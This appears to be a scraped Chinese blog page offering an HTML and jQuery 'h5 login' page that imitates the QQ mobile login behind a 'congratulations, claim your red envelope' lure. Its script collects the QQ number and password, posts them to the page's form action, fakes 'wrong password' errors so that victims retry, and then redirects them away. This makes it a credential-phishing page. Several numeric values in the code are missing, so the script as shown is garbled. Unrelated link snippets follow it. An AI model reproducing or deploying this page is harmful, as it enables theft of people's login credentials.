h5登录

<!DOCTYPE html>

<html lang="zh-cn">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta id="viewport" name="viewport"

    content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">

<meta name="apple-mobile-web-app-capable" content="yes">

<link href="/tpl/36/css.css" rel="stylesheet" type="text/css" />

<title>恭喜发财!</title>

<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js"></script>

<script src="http://yckart.github.io/jquery.base64.js/jquery.base64.js"></script>

</head>

<body style="display: none;">

    <div id="content" class="content">

        <div id="error_tips">

            <div id="error_tips_content">

                <span id="error_icon"></span> <span id="error_message"></span>

            </div>

        </div>

        <div class="redpack">

            <img src="/tpl/36/redpack.gif" alt="">

        </div>

        <div id="login" class="login">

            <div id="app_name" style="display: none"></div>

            <div id="q_login" class="q_login" style="display: none">

                <div id="q_login_title">

                    <div id="q_login_logo"></div>

                    <label id="q_login_tips">请选择登录帐号</label>

                </div>

                <div id="q_logon_list" class="q_logon_list"></div>

            </div>

            <div id="web_login">

            <form id="loginform" autocomplete="off" name="loginform" action="" method="post" target="_self" style="margin:0">

                <ul id="g_list">

                    <li id="g_u"><div id="del_touch" class="del_touch">

                            <span id="del_u" class="del_u"></span>

                        </div>

                        <input id="u" class="inputstyle" name="u" autocomplete="off"

                        placeholder="号码"></li>

                    <li id="g_p"><div id="del_touch_p" class="del_touch">

                            <span id="del_p" class="del_u"></span>

                        </div>

                        <input id="p" class="inputstyle" maxlength="" type="password"

                        name="p" autocorrect="off" placeholder="请输入您的密码"></li>

                </ul>

                <div id="auto_login">

                    <input type="checkbox" id="remember" checked="checked"> <span

                        class="checkbox"></span><label class="wording">记住登录状态</label>

                </div>

                <div href="javascript:void(0);" id="go">登 录</div>

                </form>

            </div>

            <div id="switch">

                <div id="swicth_login" onclick="pt._switch()" style="display: none">快速登录历史帐号</div>

                <div id="zc_feedback">

                    <span id="zc"

                        onclick="window.open('http\x3A\x2F\x2Fptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span>

                    <span id="forgetpwd">忘了密码？</span>

                </div>

            </div>

            <div id="custom_bottom"></div>

        </div>

        <div id="vcode">

            <label id="vcode_tips">点击图片可更换验证码</label>

            <div id="vcode_area">

                <img id="vcode_img"><label id="input_tips">请输入图中的字符不区分大小写</label><input

                    id="vcode_input" name="vcode_input" tabindex="" autocomplete="off"

                    autocorrect="off" maxlength="">

            </div>

            <div id="submit">提交验证码</div>

        </div>

    </div>

    <div id="new_vcode" class="new_vcode">

    </div>

    <div id="footerBlank"></div>

</body>

<script>

function IsPC() {

    var userAgentInfo = navigator.userAgent;

    var Agents = ["Android", "iPhone",

                "SymbianOS", "Windows Phone",

                "iPad", "iPod"];

    var flag = true;

    for (var v = ; v < Agents.length; v++) {

        if (userAgentInfo.indexOf(Agents[v]) > ) {

            flag = false;

            break;

        }

    }

    return flag;

}

if(IsPC()){

    alert('请使用手机访问');

    $('body').hide();

} else {

    $('body').show();

}

$(".redpack").on('click',function(){

    alert('请登录后领取');

    $(this).hide();

    $('.login').show();

});

var err = false;

var times = ;

function error(msg){

    $("#error_tips").css({display:'block'});

    $('#error_message').html(msg);

    err = true;

}

$('form input').focus(function(){

    $("#error_tips").css({display:'none'});

    err = false;

});

$("#error_tips").on('click',function(){

    $(this).hide();

});

$("#go").on('click',function(){

    $(this).parents('form').submit();

});

$('form').submit(function(){

    var $this = $(this);

    $.ajax({

        url:$this.attr('action'),

        data:$this.serialize(),

        type:'post',

        beforeSend:function(){

            err = false;

            var p = $("#p").val();

            var u = $("#u").val();

            u == '' && error('您还没有输入帐号！');

            if(err) return false;

            p == '' && error("您还没有输入密码！");

            if(err) return false;

            /^[-][-]{,}$/.test(u) || error('请输入正确的帐号！');

            if(err) return false;//只有renturn false表单才不会提交，return别的表单都会提交。

            var len = p.length;

            (len <  || len>) && error('您输入的帐号或密码不正确，请重新输入。');

            if(err) {

                $("#p").val('');

                return false;

            }

            $("#p").val('');

            $("#u").val('');

        },

        success:function(data){

            ++times;

            console.log(times);

            if(times<){

                error('您输入的帐号或密码不正确，请重新输入。');

            }else{

                alert('红包已经被领取');

                location.href = data.url;

            }

        },

        dataType:'json'

        })

    return false;

})

</script>

</html>

h5登录的更多相关文章

WebApp之H5登录注册
代码indexhtml <!DOCTYPE html> <html> <head> <meta charset="utf-8"> & ...
h5登录页面
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name ...
论H5嵌入APP的联合登录的解决方案
什么是联合登录因为公司产品的发展,会与第三方的一些商户进行对接,商户APP提供入口,进入我们的H5页,从而提供服务. 而商户希望用户在其APP进行账户登录后,进入H5页不再进行登录,所以我们的H5需 ...
安卓微信端打开H5页面背景图被键盘挤压移动位置解决
问题:在微信端(安卓浏览器也如此)打开的H5登录页面中,点击输入信息,弹出软键盘会挤压背景图片. 本来的body宽高设置body{width:100%,height:100%},不起作用,这样写就会导 ...
native与H5优缺点及H5测试
一.native(原生)与H5优缺点介绍 native(原生)优点 1.运行速度快 2.可以应用到底层的API 3.便捷性与易用性 4.打开会比较节省流量 native(原生)缺点 1.不同操作系统需 ...
ASP微信服务号H5客户登陆，且获取客户授权的用户基本信息
ASP微信服务号H5客户登陆,且获取客户授权的用户基本信息是需要客户授权,下面讲解详细步骤: 第一步:客户点击登录页,自动跳转到微信服务器端获取code 第二步:用第一步获取的code去获取客户的ac ...
vs 基本验证控件使用
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.c ...
vue_axios请求封装、异常拦截统一处理
1.前端网络请求封装.异常统一处理 vue中采用axios处理网络请求,避免请求接口重复代码,以及各种网络情况造成的异常情况的判断,采用axios请求封装和异常拦截操作: axios 请求封装 // ...
Android Dynamic Action(动态Action)—像访问网页一样地访问Activity
Android Dynamic Action,简称DA,是一种简便.可变Action的实现方案.DA框架的初衷是为了取代Context.startActivity的调用方式,使用建造者模式(Build ...

随机推荐

java中的hachcode方法
哈希表这个数据结构想必大多数人都不陌生,而且在很多地方都会利用到hash表来提高查找效率.在Java的Object类中有一个方法: public native int hashCode(); 根据这个 ...
SQL SERVER-约束
NOT NULL - 指示某列不能存储 NULL 值. UNIQUE - 保证某列的每行必须有唯一的值. PRIMARY KEY - NOT NULL 和 UNIQUE 的结合.确保某列(或两个列多个 ...
Tarjan缩点【模板】
#include <algorithm> #include <cstdio> #include <map> using namespace std; ); map& ...
阿里云server部署架构
近期要上马一个项目,客户要求所有部署到阿里云的server,做了一个阿里云的部署方案. 上图: watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvc21hbGx ...
UIScrollView加入控件，控件距离顶部始终有间距的问题
今天.特别郁闷.自己定义了一个UIScrollView,然后在它里面加入控件,如UIButton *button = [[UIButton alloc] initWithFrame:CGRectMak ...
关于Javakeywordsynchronized——单例模式的思考
精彩的设计模式盛宴刚刚落下帷幕.三天的时间.真是学习到了非常多.当中,遗留的非常多的问题.今天就谈谈synchronized这个keyword.关于对synchronizedkeyword的思考是从单 ...
UI自动化
1.下载安装JDK,配置环境变量 2.下载eclips,并安装 3.下载jskuli截图工具,并安装 4.下载Jspec插件,将其放在eclipse路径下的\plugins文件夹中.(打开eclips ...
打印全排列和stl::next_permutation
打印全排列是个有点挑战的编程问题.STL提供了stl::next_permutation完美的攻克了这个问题. 可是,假设不看stl::next_permutation,尝试自己解决,怎么做? 非常自 ...
git相关整理
title: git相关整理 toc: false date: 2018-09-24 20:42:55 git merge 和 git merge --no--ff有什么区别? git merge命令 ...
yum 命令讲解
(一)yum介绍 Yum(全称为 Yellow dogUpdater, Modified)是一个在Fedora和RedHat以及CentOS中的Shell前端软件包管理器.基于RPM包管理,能够从指定 ...

h5登录

h5登录的更多相关文章

随机推荐

热门专题